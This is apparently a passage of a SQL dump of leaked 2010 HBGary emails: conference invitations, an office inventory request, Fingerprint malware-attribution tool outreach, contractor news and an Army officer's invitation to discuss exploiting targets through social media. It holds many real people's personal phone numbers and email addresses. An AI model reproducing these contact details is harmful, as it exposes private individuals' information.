are having an military open source\r\nsoftware meeting next week in DC. interested in coming to speak?\r\n\r\n\r\n\r\n\r\n\r\nAlos what OSS license do you use?\r\n\r\n\r\n\r\n\r\n\r\njs\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nConf:\r\n\r\n\r\n\r\n\r\n\r\nhttp://www.mil-oss.org/\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMILITARY OPEN SOURCE SOFTWARE\r\n(Mil-OSS) \r\nMil-OSS has been established to connect and empower an active community of\r\ncivilian and military open source software and hardware developers across the\r\nU.S.\r\n\r\nThis grassroots movement is a collection of the geeky, coffee drinking, sandal\r\nwearing patriots that work for the U.S. DoD and believe that we must adopt open\r\ntechnology innovation philosophies to effectively defend this nation.\r\n\r\nJoin us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss\r\nlife, liberty, and the pursuit of open source.\r\n\r\n\r\nWHERE &amp; WHEN\r\nLocation: Washington, D.C. @ the Waterview Conference Center\r\n\r\nDriving\r\nand Public Transportation Directions\r\n\r\nLodging: Hotel Palomar\r\nArlington , 1121 19th Street North.\r\nThis hotel is connected to the Waterview Conference Center. We have a special\r\ngovernment rate of $170.00 plus taxes. Call and ask for reservations and the\r\ngroup code is Mil-OSS.\r\n\r\nDates and Agenda:\r\nAug 2 - Meetup @ Continental\r\nAug 3 - Talks/Ignite Lunch\r\nAug 4 - Talks/BarCamp\r\nAug 5 - BarCamp\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------------------------------------\r\n\r\n\r\n\r\n\r\n\r\nJohn Scott\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;240.401.6574\r\n\r\n\r\n\r\n\r\n\r\njohnmscott@mindspring.com\r\n\r\n\r\n\r\n\r\n\r\n&lt; jms3rd@gmail.com &gt;\r\n\r\n\r\n\r\n\r\n\r\nhttp://powdermonkey.blogs.com\r\n\r\n\r\n\r\n\r\n\r\ntweets @johnmscott\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/29/10\r\n02:34:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8629,'aaron_hbgary_com/8629.html'),(9293,'2010-07-29','\"John Scott\" <johnmscott@mindspring.com>','/aaron@hbgary.com/new/1297007150.M874094P14101Q4148.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Free Tools | HBGary','cool lets us know!http://www.mil-oss.org/js\r\n-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt; jms3rd@gmail.com &gt;http://powdermonkey.blogs.comtweets @johnmscott\r\n\r\nOn Jul 29, 2010, at 1:37 PM, Bob Slapnik wrote:John,&nbsp;I’ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to speak.&nbsp;Bob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.Office 301-652-8885 x104&nbsp; | Mobile 240-481-1419www.hbgary.com&nbsp; |&nbsp;&nbsp;bob@hbgary.com&nbsp;&nbsp;&nbsp;From:&nbsp;John Scott [mailto:johnmscott@mindspring.com]&nbsp;Sent:&nbsp;Thursday, July 29, 2010 1:28 PMTo:&nbsp;bob@hbgary.comCc:&nbsp;Josh DavisSubject:&nbsp;Free Tools | HBGaryImportance:&nbsp;High&nbsp;https://www.hbgary.com/community/free-tools/&nbsp;Hi Bob,&nbsp;&nbsp;I saw this article, we are having an military open source software meeting next week in DC. interested in coming to speak?Alos what OSS license do you use?js&nbsp;http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Conf:http://www.mil-oss.org/&nbsp;&lt;image001.jpg&gt;MILITARY OPEN SOURCE SOFTWARE (Mil-OSS)&nbsp;Mil-OSS has been established to connect and empower an active community of civilian and military open source software and hardware developers across the U.S.This grassroots movement is a collection of the geeky, coffee drinking, sandal wearing patriots that work for the U.S. DoD and believe that we must adopt open technology innovation philosophies to effectively defend this nation.Join us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss life, liberty, and the pursuit of open source.&lt;image001.jpg&gt;WHERE &amp; WHENLocation:&nbsp;Washington, D.C. @ the&nbsp;Waterview Conference CenterDriving and Public Transportation DirectionsLodging:&nbsp;Hotel Palomar Arlington&nbsp;, 1121 19th Street North.This hotel is connected to the Waterview Conference Center. We have a special government rate of $170.00 plus taxes. Call and ask for reservations and the group code is Mil-OSS.Dates and Agenda:Aug 2 - Meetup @ ContinentalAug 3 - Talks/Ignite LunchAug 4 - Talks/BarCampAug 5 - BarCamp&nbsp;-----------------------------------------------------------John Scott&nbsp;240.401.6574johnmscott@mindspring.com&lt;&nbsp;jms3rd@gmail.com&nbsp;&gt;http://powdermonkey.blogs.comtweets @johnmscott&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.851 / Virus Database: 271.1.1/3034 - Release Date: 07/29/10 02:34:00',11764,'aaron_hbgary_com/11764.html'),(9294,'2010-07-29','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297007151.M357604P14101Q4149.eml','\"Inc. HBGARY\" <All@hbgary.com>','Need information on all products you have from HBGary','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Guys and Gal,\r\n\r\n&nbsp;\r\n\r\nI am updating my equipments list and believe I may have\r\nmissed a few things.&nbsp; Could you please send me a list of all HBGary\r\nproducts you have at your home office.&nbsp; I will need a list of the\r\nfollowing:\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nComputers Including Laptops &nbsp;with Serial numbers\r\nand brand\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nHard drives with brand and serial number\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPrinter, copier, fax, scanners with &nbsp;brand and\r\nserial numbers\r\n\r\n4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMonitors &nbsp;with brand and serial numbers\r\n\r\n5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFurniture\r\n\r\n6.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nPhones (including cell phones if HBGary purchased)\r\n\r\n7.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDongles\r\n\r\n8.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;Routers with brand and serial number\r\n\r\n9.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nShirts\r\n\r\n&nbsp;\r\n\r\nPlease list anything else I may have forgotten.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11779,'aaron_hbgary_com/11779.html'),(9295,'2010-07-29','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','/aaron@hbgary.com/new/1297007151.M621867P14101Q4150.eml','aaron@hbgary.com','Training','Aaron,\r\nThat\'s a great article, thanks. I passed it to the rest of my team. My section has a two hour block of instruction on September 9th from 10:00-12:00pm in the same office we met. I was hoping I could give you 11:00-12:00pm to talk about how we could use social media to exploit targets. Also, since the computer guys will be there as well, I wanted to see if you could end by talking briefly on how the team could use Fidelis as an exploitation tool.... right now they have the capability but haven\'t thought of using it. Anyway, since we\'re going to break for lunch right after your brief, you\'ll have a good chance to talk one on one to people who want to know more about your services. I\'ll also introduce you to MAJ Verell and hopefully Mrs. Brooks if she\'s attends. Let me know if that works for you. You can send me your slides and I\'ll set everything up. \r\n\r\nV/R\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: aaron@hbgary.com\r\nDate: Thursday, July 29, 2010 11:08 am\r\nSubject: Social media datasheet\r\nTo: \"stephen.w.turner@us.army.mil\" \r\n\r\n\r\n> What\'s not in here but inferred is our IO capabilities in this \r\n> space and how we can tie social media to more effective \r\n> exploitation, also improve social engineering.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> \r\n> \r\n> Sent from my iPad\r\n',11915,'aaron_hbgary_com/11915.html'),(9296,'2010-07-29','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297007151.M855187P14101Q4151.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Ivy Avila and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJuly 29, 2010\r\n    AFCEA NOVA\r\n    \r\n        Latest:\r\n\r\n            &bull;\r\n\r\n\r\n            &bull;\r\n\r\n             1 Job\r\n        \r\n\r\n    \r\n\r\n    \r\n\r\n\r\n\r\n\r\n\r\n\r\n   Job Discussions (1)\r\n       \r\n         \r\n           21st Century Systems Inc. is seeking experienced staff\r\n           1 comment  &raquo;\r\n\r\n         Posted by Clifford Link, Vice President, Federal Systems Group  at 21st Century Systems, Inc.\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\nStop inappropriate content the moment it is posted. Send me an email for each new discussion &#187;\r\n&nbsp;\r\n\r\n\r\n',5376,'aaron_hbgary_com/5376.html'),(9297,'2010-07-29','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007152.M138125P14101Q4152.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fingerprint Tool','Anything new re Fingerprint tool i.e. reaction from booth stopbys, interest in downloads from particular vertical markets i.e. government, etc. that I can use to put on Twitter, please let me know. K\r\n',9185,'aaron_hbgary_com/9185.html'),(9298,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007152.M414911P14101Q4153.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Thanks','Hi Brian,\r\n\r\nWe received the malware drive yesterday, thanks!  Do you need me to\r\nmail this back to you?\r\n\r\nTed\r\n',10207,'aaron_hbgary_com/10207.html'),(9299,'2010-07-29','\"Masterson, Brian M (XETRON)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297007152.M877429P14101Q4154.eml','ted@hbgary.com,ted@hbgary.com','Re: EXTERNAL:Thanks','\r\n\r\n\r\n\r\n\r\nRe: EXTERNAL:Thanks\r\n\r\n\r\n\r\n\r\nNah.&nbsp; It\'s on me.&nbsp; Are you going to send your stuff so I can dynamically fingerprint the stuff from cmu that I have.\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Masterson, Brian M (XETRON)\r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\nSent: Thu Jul 29 14:14:12 2010\r\nSubject: EXTERNAL:Thanks\r\n\r\nHi Brian,\r\n\r\nWe received the malware drive yesterday, thanks!&nbsp; Do you need me to\r\nmail this back to you?\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n',13519,'aaron_hbgary_com/13519.html'),(9300,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007153.M103033P14101Q4155.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: EXTERNAL:Thanks','.???Begin forwarded message:From: &quot;Masterson, Brian M (XETRON)&quot; &lt;Brian.Masterson@ngc.com&gt;\r\nDate: July 29, 2010 1:50:43 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: Re: EXTERNAL:Thanks\r\n\r\n\r\n\r\n\r\nAaron said the results would be much better if done dynamically like you guys did.  He said you would set me up.\r\n\r\n----- Original Message -----\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;\r\nTo: Masterson, Brian M (XETRON)\r\nSent: Thu Jul 29 14:33:06 2010\r\nSubject: Re: EXTERNAL:Thanks\r\n\r\nJust in case the attachment got stuck in your filewall, you can\r\ndownload the Fingerprint tool with source-code here:\r\n\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nTed\r\n\r\n\r\nOn Thu, Jul 29, 2010 at 1:18 PM, Masterson, Brian M (XETRON)\r\n&lt;Brian.Masterson@ngc.com&gt; wrote:\r\n&gt; How did you send it?\r\n&gt;\r\n&gt; ----- Original Message -----\r\n&gt; From: Ted Vera &lt;ted@hbgary.com&gt;\r\n&gt; To: Masterson, Brian M (XETRON)\r\n&gt; Sent: Thu Jul 29 14:17:38 2010\r\n&gt; Subject: Re: EXTERNAL:Thanks\r\n&gt;\r\n&gt; I already sent it to you -- you didn&#39;t get it?\r\n&gt;\r\n&gt; Ted\r\n&gt;\r\n&gt; On Thu, Jul 29, 2010 at 1:15 PM, Masterson, Brian M (XETRON)\r\n&gt; &lt;Brian.Masterson@ngc.com&gt; wrote:\r\n&gt;&gt; Nah.  It&#39;s on me.  Are you going to send your stuff so I can dynamically\r\n&gt;&gt; fingerprint the stuff from cmu that I have.\r\n&gt;&gt;\r\n&gt;&gt; ----- Original Message -----\r\n&gt;&gt; From: Ted Vera &lt;ted@hbgary.com&gt;\r\n&gt;&gt; To: Masterson, Brian M (XETRON)\r\n&gt;&gt; Cc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\n&gt;&gt; Sent: Thu Jul 29 14:14:12 2010\r\n&gt;&gt; Subject: EXTERNAL:Thanks\r\n&gt;&gt;\r\n&gt;&gt; Hi Brian,\r\n&gt;&gt;\r\n&gt;&gt; We received the malware drive yesterday, thanks!  Do you need me to\r\n&gt;&gt; mail this back to you?\r\n&gt;&gt;\r\n&gt;&gt; Ted\r\n&gt;&gt;\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted H. Vera\r\n&gt; President | COO\r\n&gt; HBGary Federal\r\n&gt; 719-237-8623\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\n',11021,'aaron_hbgary_com/11021.html'),(9301,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007153.M398997P14101Q4156.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: My resignation from TASC','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Sandoval Jr, Jose (TASC) \r\nDate: Thu, Jul 29, 2010 at 1:37 PM\r\nSubject: RE: My resignation from TASC\r\nTo: Ted Vera \r\n\r\n\r\nYep, everyone knows.\r\n\r\nPatrick Powell is taking over.  patrick.powell@tasc.com\r\n________________________________\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Thu 7/29/2010 2:29 PM\r\nTo: Sandoval Jr, Jose (TASC)\r\nSubject: Re: My resignation from TASC\r\n\r\nCongratulations and best wishes with the new job. Please stay in\r\ntouch. Any idea who is taking over for you at TASC?\r\nIs this public knowledge yet?\r\nTed\r\n\r\nOn Jul 29, 2010, at 1:22 PM, \"Sandoval Jr, Jose (TASC)\"\r\n wrote:\r\n\r\nHello,\r\n     Just wanted to let you know that I have decided to leave TASC.  I\r\nam joining Deloitte as their new Cyber Security Manager effective 23\r\nAugust 2010.  I will send you my new contact information once I get\r\nsettled in.  It has been a pleasure working with you in this capacity\r\nat TASC and I hope to work with you again in the near future.\r\n\r\nVR\r\n\r\nJose Sandoval Jr.\r\njsandoval70@satx.rr.com\r\n210-679-5550 (hm)\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',16898,'aaron_hbgary_com/16898.html'),(9302,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007153.M635097P14101Q4157.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Jose','FYI\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Thu, Jul 29, 2010 at 2:26 PM\r\nSubject: Jose\r\nTo: \"Hill, Lawrence C (TASC Inc)\" \r\n\r\n\r\nHi Lawrence,\r\n\r\nI just heard about Jose\'s resignation, I hope that doesn\'t hurt the\r\nrecompete.  Can you introduce me to the new Capture Mgr / PM, for\r\npotential teaming opportunities?\r\n\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13944,'aaron_hbgary_com/13944.html'),(9303,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007153.M876646P14101Q4158.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','Fwd: Introductions','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Thu, Jul 29, 2010 at 2:34 PM\r\nSubject: Re: Introductions\r\nTo: \"Powell, Patrick K (TASC)\" \r\nCc: \"Sandoval Jr, Jose (TASC)\" \r\n\r\n\r\nHi Patrick,\r\n\r\nI\'d love to chat about capabilities and teaming opportunities once\r\nyou\'ve had a chance to settle in to your new role.\r\n\r\nYesterday HBGary presented our new Fingerprint application at\r\nBlackhat.  Fingerprint examines tool-marks left in executables and\r\nuses them to create a signature that can help with malware attribution\r\nand lineage -- ie finding the bad guys.  We released Fingerprint as a\r\nfree download, including the source-code, so organizations can tailor\r\nit to their unique mission and help advance the technology.\r\n\r\nYou can download and find out more about our Fingerprint tool here:\r\nhttp://www.hbgary.com/community/free-tools/\r\n\r\nYou can read more about our Blackhat talk here:\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\nOn Thu, Jul 29, 2010 at 2:30 PM, Sandoval Jr, Jose (TASC)\r\n wrote:\r\n> Patrick,\r\n>         cc\'d in this email is Ted Vera.  Ted is a good friend of mine and\r\n> used to work for TASC too.  He now works for HBGary and is developing some\r\n> cool tools that we could employ here.\r\n>\r\n> Ted, Patrick is my #1 technical person at the squadron.  He is familiar with\r\n> our conversations and he has my full confidence.\r\n>\r\n> Guys, please take some time to talk; there are benefits to both\r\n> organizations.\r\n>\r\n> Jose\r\n>\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',12433,'aaron_hbgary_com/12433.html'),(9304,'2010-07-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007154.M123229P14101Q4159.eml','david.j.rundle2@boeing.com,\"Aaron Barr\" <aaron@hbgary.com>','Introduction - Boeing and HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid and Aaron,\r\n\r\n&nbsp;\r\n\r\nLooks like the two of you will have mutual interests&#8230;..\r\n\r\n&nbsp;\r\n\r\nAaron Barr / 719-510-8478 / aaron@hbgary.com\r\n\r\nDavid Rundle / 301-497-2841 / M 443-534-7655 / david.j.rundle2@boeing.com \r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8912,'aaron_hbgary_com/8912.html'),(9305,'2010-07-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007154.M351084P14101Q4160.eml','all@hbgary.com','Competitive info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nNeuralIQ &#8211; New entry into a space next to ours. Looks\r\nlike a CWSandbox-like appliance that sits on the network to run binaries and\r\nprovides real-time intrusion intelligence.&nbsp; &#8220;Defend against tomorrow&#8217;s\r\ncyber attacks today.&#8221;\r\n\r\nhttp://www.neuraliq.com/\r\n\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',757,'aaron_hbgary_com/757.html'),(9306,'2010-07-29','\"Aaron barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007154.M564709P14101Q4161.eml','\"Karen Burke\" <karen@hbgary.com>,\"Karen Burke\" <karen@hbgary.com>,','Re: Fingerprint Tool','Sorry kind of lost the ball today.  Booths overall are slow but Greg did a wired interview.  I think a few other interviews.\r\n\r\nAaron \r\n\r\nSent from my iPad\r\n\r\nOn Jul 29, 2010, at 12:14 PM, Karen Burke  wrote:\r\n\r\n> Anything new re Fingerprint tool i.e. reaction from booth stopbys, interest in downloads from particular vertical markets i.e. government, etc. that I can use to put on Twitter, please let me know. K\r\n',10492,'aaron_hbgary_com/10492.html'),(9307,'2010-07-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007154.M825916P14101Q4162.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','BizOpps','Agile Cyber Technology\r\n\r\nhttps://www.fbo.gov/index?s=opportunity&mode=form&id=90d105214abb3f77b77ebccefb92aff6&tab=core&_cview=0\r\n\r\nCapable sources are sought to perform cyber research and development\r\nfor the Information Directorate, Air Force Research Laboratory, Rome\r\nResearch Site, Rome NY (AFRL Rome). AFRL Rome has a requirement to\r\nperform multiple activities necessary to achieve AFRL\'s Science &\r\nTechnology (S&T) vision of cyber superiority. Emphasis will be placed\r\non: a) development of technology capability solutions that address\r\nspecific user requirements; b) delivery of prototype technologies for\r\nevaluation and feedback in the context of the user\'s operational\r\nenvironment; and c) provision of a mechanism for user acquisition of\r\nlimited product quantities required for operational introduction of\r\nproducts. The technical requirements will encompass rapid research and\r\ndevelopment, prototyping, demonstration, scenario development,\r\nexperimentation and evaluation, integration, testing, technical\r\ninstallation and support, transition, and sustainment of innovative\r\ncapabilities in support of cyber superiority, in the following areas:\r\n1) Threat Avoidance and Cyber Defense, 2) Full Spectrum Cyber\r\nOperations, 3) Network Exploitation, 4) Situation and Mission\r\nAwareness, 5) Command and Control, 6) Modeling, Simulation, and\r\nWargaming, 7) Cyber Infrastructure, and 8) Mission Assurance.\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',11854,'aaron_hbgary_com/11854.html'),(9308,'2010-07-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297007155.M315141P14101Q4164.eml','aaron@hbgary.com','Fwd: Global Cyber-Threat Consortium','FYI\r\n \r\n---------- Forwarded message ----------From: Borhani, Roozbeh &lt;Roozbeh.Borhani@ic.fbi.gov&gt;\r\nDate: Thu, Jul 29, 2010 at 1:53 PMSubject: Global Cyber-Threat ConsortiumTo: &quot;greg@hbgary.com&quot; &lt;greg@hbgary.com&gt;, &quot;martin@hbgary.com&quot; &lt;martin@hbgary.com&gt;\r\nHi Greg/Martin,Hopefully everything is going well at Blackhat and thanks again for taking time to sit down with us to discuss the Cyber Terrorism Conference.I&#39;ve actually been working on establishing a process of allowing for the exchange of intrusion datasets between the FBI and UC Davis for several months now.\r\nThe problem, as you already specified, is that there is no central organization (including government) responsible for the collection of intrusion data;  DHS did initiate a project but it died out couple of years ago.\r\nHowever, we may be in position to initiate this concept locally, using our Infragard members and/or victims as our test pilot.  If this proves to be successful, we can push this to become a national initiative.\r\nThere will be a significant trust issue with individuals turning over this type of data.  To make this happen, we would need to have a strategy to mitigate their concerns.I don&#39;t know if you guys are available on August 16th, @ 11:00 AM, but I&#39;m meeting with UC Davis on a number of projects; this may be a good opportunity to share with you everything we have so far.\r\nThanks...AlexSacramento FBI916-977-2251\r\n',15809,'aaron_hbgary_com/15809.html'),(9309,'2010-07-30','Joshua.Davis@gtri.gatech.edu','/aaron@hbgary.com/new/1297007155.M581129P14101Q4165.eml','bob@hbgary.com,johnmscott@mindspring.com,aaron@hbgary.com','RE: Free Tools | HBGary','\r\n\r\n\r\n\r\n\r\nP {margin-top:0;margin-bottom:0;}\r\n\r\n\r\n\r\nWe still have room... \r\n\r\n\r\n\r\n\r\n====================================================&nbsp;&nbsp;\r\n\r\nJoshua L. Davis, Research Scientist II&nbsp;&nbsp;\r\n\r\nAssociate Branch Head, Information Operations Branch&nbsp;&nbsp;\r\n&nbsp;&nbsp; \r\nElectronic Systems Laboratory&nbsp;&nbsp;\r\n\r\nGeorgia Tech Research Institute&nbsp;&nbsp;\r\n\r\nAtlanta, GA 30332&nbsp;&nbsp;&nbsp;W/M: 678.831.0182\r\n\r\n\r\n\r\n\r\nFrom: Bob Slapnik [bob@hbgary.com]\r\nSent: Thursday, July 29, 2010 01:37 PM\r\nTo: \'John Scott\'; \'Aaron Barr\'\r\nCc: Davis, Joshua L.\r\nSubject: RE: Free Tools | HBGary\r\n\r\n\r\n\r\n\r\n\r\nJohn,\r\n&nbsp;\r\nI’ve copied Aaron Barr, CEO of HBGary Federal.&nbsp; He may wish to speak.\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n&nbsp;\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\nFrom: John Scott [mailto:johnmscott@mindspring.com]\r\n\r\nSent: Thursday, July 29, 2010 1:28 PM\r\nTo: bob@hbgary.com\r\nCc: Josh Davis\r\nSubject: Free Tools | HBGary\r\nImportance: High\r\n\r\n\r\n&nbsp;\r\nhttps://www.hbgary.com/community/free-tools/\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nHi Bob,&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nI saw this article, we are having an military open source software meeting next week in DC. interested in coming to speak?\r\n\r\n\r\nAlos what OSS license do you use?\r\n\r\n\r\njs\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nhttp://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\n\r\nConf:\r\n\r\n\r\nhttp://www.mil-oss.org/\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\nMILITARY OPEN SOURCE SOFTWARE (Mil-OSS)\r\n\r\nMil-OSS has been established to connect and empower an active community of civilian and military open source software and hardware developers across the U.S.\r\n\r\nThis grassroots movement is a collection of the geeky, coffee drinking, sandal wearing patriots that work for the U.S. DoD and believe that we must adopt open technology innovation philosophies to effectively defend this nation.\r\n\r\nJoin us at our second working group (WG2) in D.C. 2-5 August 2010 to discuss life, liberty, and the pursuit of open source.\r\n\r\n\r\nWHERE &amp; WHEN\r\nLocation: Washington, D.C. @ the \r\nWaterview Conference Center\r\n\r\nDriving and Public Transportation Directions\r\n\r\nLodging: Hotel Palomar Arlington , 1121 19th Street North.\r\nThis hotel is connected to the Waterview Conference Center. We have a special government rate of $170.00 plus taxes. Call and ask for reservations and the group code is Mil-OSS.\r\n\r\nDates and Agenda:\r\nAug 2 - Meetup @ Continental\r\nAug 3 - Talks/Ignite Lunch\r\nAug 4 - Talks/BarCamp\r\nAug 5 - 